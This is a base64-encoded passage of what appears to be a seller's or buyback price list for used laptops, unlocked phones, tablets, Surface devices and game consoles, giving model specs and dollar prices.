Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAm bmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7 ICZuYnNwOyAmbmJzcDsgJm5ic3A7Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KDQpBcHBsZSZuYnNwO01hY0Jv b2smbmJzcDtQcm8mbmJzcDt3aXRoJm5ic3A7UmV0aW5hJm5ic3A7ZGlzcGxheSZuYnNwO++8 iE1HWEMyQ0gvQe+8iQ0KMTUuNCZuYnNwO2luY2hlcyZuYnNwO2k3Jm5ic3A7NTEyR0ImbmJz cDtTU0QNCiQ0MjAmbmJzcDsNCg0KQXBwbGUmbmJzcDtNYWNCb29rJm5ic3A7UHJvJm5ic3A7 d2l0aCZuYnNwO1JldGluYSZuYnNwO2Rpc3BsYXkmbmJzcDvvvIhNR1hBMkNIL0HvvIkNCjE1 LjQmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzI1NkdCJm5ic3A7U1NEDQokNDEwJm5ic3A7 DQoNCkFwcGxlJm5ic3A7TWFjQm9vayZuYnNwO1BybyZuYnNwO3dpdGgmbmJzcDtSZXRpbmEm bmJzcDtkaXNwbGF5Jm5ic3A777yITUdYOTJDSC9B77yJDQoxMy4zJm5ic3A7aW5jaGVzJm5i c3A7aTUmbmJzcDs1MTJHQiZuYnNwO1NTRA0KJDQwMCZuYnNwOw0KDQpBcHBsZSZuYnNwO01h Y0Jvb2smbmJzcDtBaXImbmJzcDvvvIhNRDc2MUNIL0LvvIkNCjEzLjMmbmJzcDtpbmNoZXMm bmJzcDtpNSZuYnNwOzI1NkdCJm5ic3A7U1NEDQokMzk1Jm5ic3A7DQoNCkFwcGxlJm5ic3A7 TWFjQm9vayZuYnNwO0FpciZuYnNwO++8iE1ENzEyWlAvQe+8iQ0KMTEuNiZuYnNwO2luY2hl cyZuYnNwO2k1Jm5ic3A7MjU2R0ImbmJzcDtTU0QNCiQyODAmbmJzcDsNCg0KQXBwbGUmbmJz cDtNYWNCb29rJm5ic3A7QWlyJm5ic3A777yITUQ3MTFDSC9B77yJDQoxMS42Jm5ic3A7aW5j aGVzJm5ic3A7aTUmbmJzcDsxMjhHQiZuYnNwO1NTRA0KJDI3MCZuYnNwOw0KDQpEZWxsJm5i c3A7SW5zcGlyb24mbmJzcDsxNyZuYnNwOzcwMDAmbmJzcDvvvIhJbnMxN0hELTI3MjhU77yJ DQoxNy4zJm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJzcDs4R0IrMVRCJm5ic3A7DQokMzc1Jm5i c3A7DQoNCkRlbGwmbmJzcDtJbnNwaXJvbiZuYnNwOzE1Jm5ic3A7NzAwMCZuYnNwO++8iElu czE1SEQtMjgyOFTvvIkNCjE1LjYmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzFUQiZuYnNw Ow0KJDI3MCZuYnNwOw0KDQpEZWxsJm5ic3A7WFBTJm5ic3A7MTXvvIhYUFMxNUQtOTgyOFTv vIkNCjE1LjYmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzUxMkdCDQokMzUwJm5ic3A7DQoN CkRlbGwmbmJzcDtYUFMmbmJzcDsxNO+8iFhQUzE0RC00ODE477yJDQoxNC4wJm5ic3A7aW5j aGVzJm5ic3A7aTcmbmJzcDs1MTJHQg0KJDMyMCZuYnNwOw0KDQpEZWxsJm5ic3A7WFBTJm5i c3A7MTImbmJzcDvvvIhYUFMxMkQtNDcwOO+8iQ0KMTIuNSZuYnNwO2luY2hlcyZuYnNwO2k3 Jm5ic3A7MjU2R0ImbmJzcDsmbmJzcDsNCiQyNzImbmJzcDsNCg0KSHAmbmJzcDtFTlZZJm5i c3A7MTctajEwNlRYJm5ic3A777yIRjRBMDVQQe+8iQ0KMTcuMyZuYnNwO2luY2hlcyZuYnNw O2k3Jm5ic3A7MjRHQisyVEImbmJzcDsNCiQyODAmbmJzcDsNCg0KSHAmbmJzcDtPTUVOJm5i c3A7MTUtNTAxNFRYJm5ic3A777yISzVDNjVQQe+8iQ0KMTUuNiZuYnNwO2luY2hlcyZuYnNw O2k3Jm5ic3A7NTEyR0ImbmJzcDsNCiQyODgmbmJzcDsNCg0KSHAmbmJzcDtFTlZZJm5ic3A7 VG91Y2hTbWFydCZuYnNwOzE0LWswMzFUWCZuYnNwO++8iEU2RjE2UEHvvIkNCjE0LjAmbmJz cDtpbmNoZXMmbmJzcDtpNSZuYnNwOzI0R0IrMVRCJm5ic3A7DQokNzI1Jm5ic3A7DQoNClRv c2hpYmEmbmJzcDtVNDB0LUFUMDFTDQoxNC4wJm5ic3A7aW5jaGVzJm5ic3A7aTUmbmJzcDsz MkdCKzUwMEdCJm5ic3A7DQokMjQ1Jm5ic3A7DQoNClRvc2hpYmEmbmJzcDtVOTIwdC1UMDhC DQoxMi41Jm5ic3A7aW5jaGVzJm5ic3A7aTUmbmJzcDs2NEdCJm5ic3A7DQokMjQwJm5ic3A7 DQoNClNhbXN1bmcmbmJzcDs5MzBYNUotSzAxDQoxNS42Jm5ic3A7aW5jaGVzJm5ic3A7aTcm bmJzcDsyNTZHQg0KJDI5MCZuYnNwOw0KDQpHYW1pbmcmbmJzcDtVbHRyYWJvb2smbmJzcDso VWx0cmFib29rJm5ic3A7Zm9yJm5ic3A7UGxheWluZyZuYnNwO0dhbWUpDQoNCkFsaWVud2Fy ZSZuYnNwOzE477yIQUxXMThELTU3ODjvvIkNCjE4LjQmbmJzcDtpbmNoZXMmbmJzcDtpNyZu YnNwOzUxMkdCKzJUQg0KJDY4OCZuYnNwOw0KDQpBbGllbndhcmUmbmJzcDsxOO+8iEFMVzE4 RC00Nzg477yJDQoxOC40Jm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJzcDs1MTJHQisxVEINCiQ2 NjAmbmJzcDsNCg0KQWxpZW53YXJlJm5ic3A7MTfvvIhBTFcxN0QtNDk0OO+8iQ0KMTcuMyZu YnNwO2luY2hlcyZuYnNwO2k3Jm5ic3A7ODBHQiZuYnNwOysmbmJzcDsyVEINCiQ1NTAmbmJz cDsNCg0KSFAmbmJzcDtFTlZZJm5ic3A7MTcmbmJzcDszRCZuYnNwO05vdGVib29rDQoxNy4z Jm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJzcDs2NDBHQiZuYnNwOyg3MjAwUlBNKQ0KJDMxMCZu YnNwOw0KDQpBc3VzJm5ic3A7Uk9HJm5ic3A7Rzc1MEpaJm5ic3A7R2FtaW5nJm5ic3A7Tm90 ZWJvb2sNCjE3LjMmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzUxMkdCKzEuNVRCDQokMzgw Jm5ic3A7DQoNCkxlbm92byZuYnNwO1k3MC03MFQtSVNFJm5ic3A7R2FtaW5nJm5ic3A7Tm90 ZWJvb2sNCjE3LjMmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzUxMkdCJm5ic3A7U1NEDQok Mjk4Jm5ic3A7DQoNCg0KDQoNCg0KVW5sb2NrZWQmbmJzcDtDZWxsJm5ic3A7UGhvbmUmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCg0K aVBob25lJm5ic3A7NiZuYnNwO1BsdXMNCjUuNS1pbmNoJm5ic3A7MTZHQi82NEdCLzEyOEdC DQokMjgwLzI4NS8yOTUNCg0KaVBob25lJm5ic3A7Ng0KNC43LWluY2gmbmJzcDsxNkdCLzY0 R0IvMTI4R0INCiQyNzAvMjc1LzI4NQ0KDQppUGhvbmUmbmJzcDs2Uw0KNC41LWluY2gmbmJz cDsxNkdCLzY0R0IvMTI4R0INCiQzMDAvMzIwLzM1MA0KDQpTYW1zdW5nJm5ic3A7R0FMQVhZ Jm5ic3A7UzYNCjUuMS1pbmNoJm5ic3A7MzJHQg0KJDI4NSZuYnNwOw0KDQpTYW1zdW5nJm5i c3A7R0FMQVhZJm5ic3A7UzYmbmJzcDtFZGdlDQo1LjEtaW5jaCZuYnNwOzMyR0IvNjRHQg0K JDI5MC8yOTUNCg0KU2Ftc3VuZyZuYnNwO0dBTEFYWSZuYnNwO05vdGUmbmJzcDtFZGdlDQo1 LjYtaW5jaCZuYnNwOzMyR0INCiQyODAmbmJzcDsNCg0KU2Ftc3VuZyZuYnNwO0dBTEFYWSZu YnNwO05vdGUmbmJzcDs0DQo1LjctaW5jaCZuYnNwOzMyR0INCiQyNjAmbmJzcDsNCg0KU2Ft c3VuZyZuYnNwO0dBTEFYWSZuYnNwO1M1DQo1LjEtaW5jaCZuYnNwOzE2R0INCiQyMDUmbmJz cDsNCg0KU2Ftc3VuZyZuYnNwO1cyMDE1DQozLjktaW5jaCZuYnNwOzE2R0INCiQxNTAmbmJz cDsNCg0KQmxhY2tCZXJyeSZuYnNwO1oxMA0KNC4yLWluY2gmbmJzcDsxNkdCDQokMTMwJm5i c3A7DQoNCkJsYWNrQmVycnkmbmJzcDtQYXNzcG9ydA0KNC41LWluY2gmbmJzcDszMkdCDQok MTkwJm5ic3A7DQoNClNvbnkmbmJzcDtYcGVyaWEmbmJzcDtaMw0KNS4yLWluY2gmbmJzcDsx NkdCDQokMTUwJm5ic3A7DQoNCk5va2lhJm5ic3A7THVtaWEmbmJzcDs5MzANCjUuMC1pbmNo Jm5ic3A7MzJHQg0KJDc1Jm5ic3A7DQoNCkh1YXdlaSZuYnNwO01hdGUmbmJzcDs3DQo2LjAt aW5jaCZuYnNwOzMyR0INCiQ4NSZuYnNwOw0KDQpNb3Rvcm9sYSZuYnNwO01vdG8mbmJzcDtY DQo1LjItaW5jaCZuYnNwOzMyR0INCiQzMCZuYnNwOw0KDQpPbmVQbHVzJm5ic3A7T25lDQo1 LjUtaW5jaCZuYnNwOzY0R0INCiQ0NSZuYnNwOw0KDQpNb3Rvcm9sYSZuYnNwO0dvb2dsZSZu YnNwO05leHVzJm5ic3A7Ng0KNi4wLWluY2gmbmJzcDs2NEdCDQokNTAmbmJzcDsNCg0KDQoN Cg0KDQpUYWJsZSZuYnNwO1BDL01JRCZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KDQpBcHBsZSZuYnNwO2lQYWQm bmJzcDtBaXImbmJzcDsyJm5ic3A7V2ktRmkrQ2VsbHVsYXINCjkuNy1pbmNoJm5ic3A7UmV0 aW5hJm5ic3A7ZGlzcGxheSZuYnNwOzE2R0IvNjRHQi8xMjhHQg0KJDE2MC8xNjUvMTc1DQoN CkFwcGxlJm5ic3A7aVBhZCZuYnNwO0FpciZuYnNwOzImbmJzcDtXaS1GaQ0KOS43LWluY2gm bmJzcDtSZXRpbmEmbmJzcDtkaXNwbGF5Jm5ic3A7MTZHQi82NEdCLzEyOEdCDQokMTU1LzE2 MC8xNzANCg0KQXBwbGUmbmJzcDtpUGFkJm5ic3A7QWlyJm5ic3A7V2ktRmkrQ2VsbHVsYXIN CjkuNy1pbmNoJm5ic3A7UmV0aW5hJm5ic3A7ZGlzcGxheSZuYnNwOzE2R0IvMzJHQg0KJDE1 MC8xNTUNCg0KQXBwbGUmbmJzcDtpUGFkJm5ic3A7QWlyJm5ic3A7V2ktRmkNCjkuNy1pbmNo Jm5ic3A7UmV0aW5hJm5ic3A7ZGlzcGxheSZuYnNwOzE2R0IvMzJHQg0KJDE0NS8xNTANCg0K QXBwbGUmbmJzcDtpUGFkJm5ic3A7bWluaSZuYnNwOzMmbmJzcDtXaS1GaStDZWxsdWxhcg0K Ny45LWluY2gmbmJzcDtSZXRpbmEmbmJzcDtkaXNwbGF5Jm5ic3A7MTZHQi82NEdCLzEyOEdC DQokMTU1LzE2MC8xNzANCg0KQXBwbGUmbmJzcDtpUGFkJm5ic3A7bWluaSZuYnNwOzMmbmJz cDtXaS1GaQ0KNy45LWluY2gmbmJzcDtSZXRpbmEmbmJzcDtkaXNwbGF5Jm5ic3A7MTZHQi82 NEdCLzEyOEdCDQokMTUwLzE1NS8xNjUNCg0KU2Ftc3VuZyZuYnNwO0dhbGF4eSZuYnNwO1Rh YiZuYnNwO1BybyZuYnNwOzEwLjEiJm5ic3A7DQoxMC4xLWluY2gmbmJzcDtBbmRyb2lkJm5i c3A7NC40Jm5ic3A7S2l0S2F0Jm5ic3A7V2ktRmkmbmJzcDtUYWJsZQ0KJDE0MCZuYnNwOw0K DQpTYW1zdW5nJm5ic3A7R2FsYXh5Jm5ic3A7VGFiJm5ic3A7UHJvJm5ic3A7OC40IiZuYnNw Ow0KOC40Jm5ic3A7Jm5ic3A7LWluY2gmbmJzcDtBbmRyb2lkJm5ic3A7NC40Jm5ic3A7S2l0 S2F0Jm5ic3A7V2ktRmkmbmJzcDtUYWJsZQ0KJDEzMCZuYnNwOw0KDQpTYW1zdW5nJm5ic3A7 R2FsYXh5Jm5ic3A7VGFiJm5ic3A7MyZuYnNwOzcuMCImbmJzcDtLaWRzJm5ic3A7Jm5ic3A7 KFRhYmxlJm5ic3A7Zm9yJm5ic3A7a2lkcykNCjcuMCZuYnNwOyZuYnNwOy1pbmNoJm5ic3A7 QW5kcm9pZCZuYnNwOzQuMSZuYnNwO0tpdEthdCZuYnNwO1dpLUZpJm5ic3A7VGFibGUNCiQx MjUmbmJzcDsNCg0KU2Ftc3VuZyZuYnNwO0dhbGF4eSZuYnNwO05vdGUmbmJzcDtQcm8mbmJz cDsxMi4yIg0KMTIuMi1pbmNoJm5ic3A7QW5kcm9pZCZuYnNwOzQuNCZuYnNwO0tpdEthdCZu YnNwOzRHJm5ic3A7TFRFJm5ic3A7VGFibGUNCiQxNjAmbmJzcDsNCg0KU2Ftc3VuZyZuYnNw O0dhbGF4eSZuYnNwO05vdGUmbmJzcDsxMC4xIg0KMTAuMS1pbmNoJm5ic3A7QW5kcm9pZCZu YnNwOzQuMSZuYnNwO0tpdEthdCZuYnNwOzRHJm5ic3A7TFRFJm5ic3A7VGFibGUNCiQxNTAm bmJzcDsNCg0KU2Ftc3VuZyZuYnNwO0dhbGF4eSZuYnNwO1RhYiZuYnNwOzMmbmJzcDs3LjAi Jm5ic3A7MTZHQg0KNy4wJm5ic3A7Jm5ic3A7LWluY2gmbmJzcDtBbmRyb2lkJm5ic3A7NC40 Jm5ic3A7S2l0S2F0Jm5ic3A7NEcmbmJzcDtMVEUmbmJzcDtUYWJsZQ0KJDEzMCZuYnNwOw0K DQpMZW5vdm8mbmJzcDtBMzAwMA0KNy4wLWluY2gmbmJzcDtBbmRyb2lkNC4yJm5ic3A7Jm5i c3A7OEdCDQokMTI1Jm5ic3A7DQoNCkh1YXdlaSZuYnNwO01lZGlhUGFkJm5ic3A7NyZuYnNw O1ZvZ3VlDQo3LjAtaW5jaCZuYnNwO0FuZHJvaWQ0LjEmbmJzcDsmbmJzcDs4R0INCiQ2MCZu YnNwOw0KDQpNaWNyb3NvZnQmbmJzcDtUYWJsZSZuYnNwO1BDJm5ic3A7LyZuYnNwO1dpbmRv d3MmbmJzcDtUYWJsZSZuYnNwO1BDJm5ic3A7TGFwdG9wDQoNCk1pY3Jvc29mdCZuYnNwO1N1 cmZhY2UmbmJzcDtQcm8mbmJzcDsz77yIaTcvNTEyR0LvvIkNCjEyLjAiJm5ic3A7aTcmbmJz cDs1MTJHQiZuYnNwO1NTRCZuYnNwO1dpdGgmbmJzcDtLZXlib2FyZA0KJDE5NSZuYnNwOw0K DQpNaWNyb3NvZnQmbmJzcDtTdXJmYWNlJm5ic3A7UHJvJm5ic3A7M++8iGk3LzI1NkdC77yJ DQoxMi4wIiZuYnNwO2k3Jm5ic3A7MjU2R0ImbmJzcDtTU0QmbmJzcDtXaXRoJm5ic3A7S2V5 Ym9hcmQNCiQxNzUmbmJzcDsNCg0KTWljcm9zb2Z0Jm5ic3A7U3VyZmFjZSZuYnNwO1BybyZu YnNwOzPvvIhpNS8yNTZHQu+8iQ0KMTIuMCImbmJzcDtpNSZuYnNwOzI1NkdCJm5ic3A7U1NE Jm5ic3A7V2l0aCZuYnNwO0tleWJvYXJkDQokMTYwJm5ic3A7DQoNCk1pY3Jvc29mdCZuYnNw O1N1cmZhY2UmbmJzcDtQcm8mbmJzcDsz77yIaTUvMTI4R0LvvIkNCjEyLjAiJm5ic3A7aTUm bmJzcDsxMjhHQiZuYnNwO1NTRCZuYnNwO1dpdGgmbmJzcDtLZXlib2FyZA0KJDE1MCZuYnNw Ow0KDQoNCg0KDQoNClZpZGVvJm5ic3A7R2FtZSZuYnNwO0NvbnNvbGUmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCg0KU29u eSZuYnNwO1BsYXlTdGF0aW9uJm5ic3A7NCZuYnNwOzIwdGgmbmJzcDtBbm5pdmVyc2FyeSZu YnNwO0VkaXRpb24mbmJzcDsoNTAwR0IpDQpXaXRoJm5ic3A7R2FtZSZuYnNwOyZhbXA7Jm5i c3A7Q29udHJvbGxlcg0KJDE1MCZuYnNwOw0KDQpTb255Jm5ic3A7UGxheVN0YXRpb24mbmJz cDs0DQpXaXRoJm5ic3A7R2FtZSZuYnNwOyZhbXA7Jm5ic3A7Q29udHJvbGxlcg0KJDEzNSZu YnNwOw0KDQpNaWNyb3NvZnQmbmJzcDtYYm94Jm5ic3A7T25lJm5ic3A7KDUwMEdCKQ0KV2l0 aCZuYnNwO0dhbWUmbmJzcDsmYW1wOyZuYnNwO0NvbnRyb2xsZXINCiQxNTAmbmJzcDsNCg0K TWljcm9zb2Z0Jm5ic3A7WGJveDM2MCZuYnNwO3NsaW0mbmJzcDtLaW5lY3QmbmJzcDsoNTAw R0IpDQpXaXRoJm5ic3A7R2FtZSZuYnNwOyZhbXA7Jm5ic3A7Q29udHJvbGxlcg0KJDk1Jm5i c3A7DQoNCk1pY3Jvc29mdCZuYnNwO1hib3gzNjAmbmJzcDtzbGltJm5ic3A7S2luZWN0Jm5i c3A7KDc1MEdCKQ0KV2l0aCZuYnNwO0dhbWUmbmJzcDsmYW1wOyZuYnNwO0NvbnRyb2xsZXIN CiQxMDAmbmJzcDsNCg0KTWljcm9zb2Z0Jm5ic3A7WGJveDM2MCZuYnNwO3NsaW0mbmJzcDtL aW5lY3QmbmJzcDsoMVRCKQ0KV2l0aCZuYnNwO0dhbWUmbmJzcDsmYW1wOyZuYnNwO0NvbnRy b2xsZXINCiQxMTUmbmJzcDsNCg0KDQoNCg0KDQpBbGwmbmJzcDtpbiZuYnNwO09uZSZuYnNw O1BDJm5ic3A7LyZuYnNwO0Rlc2t0b3AmbmJzcDtDb21wdXRlciZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw 